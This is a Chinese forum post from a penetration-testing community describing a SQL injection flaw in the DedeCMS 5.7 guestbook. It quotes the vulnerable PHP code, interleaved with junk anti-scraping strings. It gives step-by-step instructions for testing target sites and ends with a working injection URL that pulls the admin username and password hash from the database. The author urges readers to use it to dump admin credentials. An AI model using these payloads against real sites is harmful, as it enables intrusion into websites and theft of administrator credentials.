中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
* Y' J# a& R* {% H/ D
) Q: v+ Q/ I) o3 {9 }' C& b
漏洞文件edit.inc.php具体代码:
9 C& \0 O+ ~' c6 q. o
. w S$ j5 c# ^8 v6 ^
< ?php
: @" D# e0 l* ` m- j
% m- Q) a6 ?8 G
if(!defined('DEDEINC')) exit('Request Error!');
/ U( |' b. f3 b
2 F2 F" ]. l& e l+ J- K
1 l. p" y, o: |, A% ~7 e
- t- b/ [- P7 i4 l2 q: ~! C
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
4 m3 L ^, f. G7 p/ b
' D1 y3 x, w1 J$ _3 n. f
else $GUEST_BOOK_POS = "guestbook.php";
) e/ F9 s+ B; ]8 y: v
' Q! g* ?, r+ ^
* |3 m: k& u3 L P7 v8 i
6 a) ~$ l& B7 m/ h$ I2 \5 _
$id = intval($id);
+ [8 w3 Z3 S0 c9 o7 T" R3 t
+ _+ J& _# d4 ?* V1 ^9 R) _
if(empty($job)) $job='view';
4 }7 q) v" v- `! K
" _' y& ^6 ]- ] f7 F4 ^" [
; q2 u' x3 ^. k9 c& _3 o/ }) W
* [( O% b u/ o+ f1 _
if($job=='del' && $g_isadmin)
- w, X) E" L, z# t+ P6 B: c2 n
2 q4 m* K. O2 t- b, N9 Z
{
( V! [) I' P. v. Z* r
: f1 O0 c2 x% T
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
- d0 i6 q+ w" ~5 G) y; S( X2 r% B
# c' u2 z' l& i! _" m N
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
4 p5 _3 ?4 }+ C, H' A0 e
3 X f* g; q8 b$ L
exit();
9 k( t5 d( W& L8 q- g
5 x; t4 S5 E" V! E$ t* o8 r
}
7 l6 ~1 [; V! L
9 _: I7 }4 w$ v9 L; W% V
else if($job=='check' && $g_isadmin)
3 P9 B6 Q! A* N, z6 t
& D7 \/ V$ Y! h2 T# v1 m2 [6 d
{
" h" l# \& [& g
/ ^4 L3 }# z0 k/ K
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
6 p9 w6 j/ A, L$ S8 ]' L
; r* n t; [2 v& f' J
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
6 E. u; i+ J4 z3 M
D: }# R# j2 W' C- ?/ T) \% s2 C
exit();
X! d# f& W) Y9 F# F, _( l% l
8 U; d% y) d+ f4 Y' s: @! A
}
+ l. B% } u( [' a, T8 {. ^9 Y2 |
! I2 k/ Y# \# U
else if($job=='editok')
7 e R0 W" @/ Z1 Q8 \& f
, O+ u" q8 {% o" N5 D, R7 T6 B
{
- q d; h8 _- K+ I+ `. k f
6 d9 X5 X# W7 @" a% b
$remsg = trim($remsg);
! W4 ?- U& [4 o6 W: l( q
, C3 G# ]& C, a
if($remsg!='')
+ j9 |/ b5 Y; f% ~
- g3 k4 P/ `, ~. C- V' X
{
- i) Z/ s) b# y
/ V- R9 S' R9 x3 l* f0 \
//管理员回复不过滤HTML By:Errorera blog:errs.cc
. J. n8 G, S8 A! ^! c
5 U) q$ D& P7 d0 E3 n [' `* g
if($g_isadmin)
5 D! v1 \/ j+ Q8 `9 j4 M5 k6 L
5 s: C& R m q! ]+ o
{
0 |1 b8 ?. `% z: U. J$ D3 w
8 t3 |* _' V. _. f) F: M- R. L: T
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
! ?7 m0 N2 Q3 [( b, E" G4 P8 }/ e) y
& t7 J+ D8 B0 G, n$ ]! Y7 l
//$remsg <br /><font color=red>管理员回复:</font> }
$ t6 m9 S- g( f3 z( n2 q
4 O" M" U% L7 e8 I
else
7 i2 p2 S+ e+ w1 T
$ e" @, @ }( J- Z1 w! g1 c# o
{
/ h' _' }1 \2 p# E4 s& J- f. j
) i: N5 m. x8 v$ w1 T% k
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
& l& c4 a; u- x2 C6 J
" I2 e- o2 J6 T
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
' Q; B+ m0 S! o, K
4 d& l& d! I- n- o( y# j
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
% L0 }, m- ?6 t+ c
% `9 @6 `( M. g2 d n- L
$msg = $oldmsg.$remsg;
3 m1 S+ h6 f- A) U/ F
$ a( f8 U# }" _& M' Z* A3 X
}
. s% E: w/ Q1 Y( C8 K
) c2 z8 D5 u% W% \
}
- ^ F* [7 a9 ~3 N0 s
- T, z( w% q+ F$ a! }
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
7 h+ ?$ }5 d: `( G) N' o. L4 x2 D
* P" M3 } l0 J* ~. v; b: {
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
4 B' k M. i" I7 F* J9 l
; p9 M! ]5 g8 A, K( i! b( t' C
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
8 N( _+ K c4 S' [* _6 e1 j' n
& e( D0 }8 ]) m: v
exit();
( S M% }+ R+ W; X" a
& Q: s3 [* u. w/ W5 S
}
' F( h" B+ Q( {) \ n- B$ @9 e4 Q4 H
. B6 W, S( `# j7 F9 ~' f+ b1 D3 ~4 i
//home:
www.errs.cc
& K+ Z) V9 \; f r
, D( ~) P1 u" @2 n4 ]. d
if($g_isadmin)
+ I7 L2 w* r( ^. y
; c: _3 D7 r' e f) Y( ~! b, c- S
{
% E9 w. u- L: D, i9 c
6 J }. U6 r- F+ b' u
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
) [; ~# h+ @. ]! S
$ C5 m; x9 V% x7 B
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
, n3 R; Y3 h" K5 y2 v8 d5 z7 d
: O% r* C4 c f5 u4 q: d: n
}
. u. {" o& {! s, |" d( M$ Y
. g( m+ Q8 p2 o5 ^( y
else
# E9 @% w: a0 a' `; k
( t0 j3 D+ L C$ v2 I
{
, Q; @) R& m2 u! T {* Q
4 f" O& l, b0 D( H. w& ^
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
7 j* L5 y$ N+ ]6 r( A7 O$ D/ c
$ A p* Y" F' y0 ]( [
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
1 O4 \" D9 t8 f% _5 t# S. G. M
$ q, i- m( a1 s2 w- b
} 漏洞成功需要条件:
6 N$ }) P7 G- s T4 d
1. php magic_quotes_gpc=off
: D+ D! H; I* ~1 f4 `
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
0 `& _' \, D+ ` _3 k/ r$ e9 C
6 a9 N, D/ b4 K3 P) e
怎么判断是否存在漏洞:
$ {- x' J+ m! n: L3 |7 c
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
* C% U+ D& o4 z8 K; l+ E0 A: w
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
* E% M+ W: u; L: R
访问:
8 B0 B9 @9 S. Q& F
, P* f( t! K& J" F7 S8 k; Z
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
( Q4 @, U/ j6 m1 s ^% x. u
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
6 r/ `, D i/ d* o& {7 m" @
$ z. g& s3 p, g- I" Z# e4 h+ D. V
2 [4 t$ X) [ |; F9 d8 z9 w
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
9 [; j+ c4 I" n9 q
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
/ U# H2 u) I& r7 u1 b9 [
那么再次访问
! g+ v9 Q7 @" a- N1 N& S
+ ]4 H& B# r+ n/ K# ]$ h- [
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
' D8 E1 z' [8 F0 ]
5 s- b# Z) R% ^8 Y7 J
大概利用就是这样,大家有兴趣的多研究下!!
: O9 _" r5 w+ m
) E. I2 z. f; f* t1 B& ?6 r# C
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
+ {/ |5 u0 ~# _# \/ D+ }- c
H) {0 e" R% y; s+ Q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2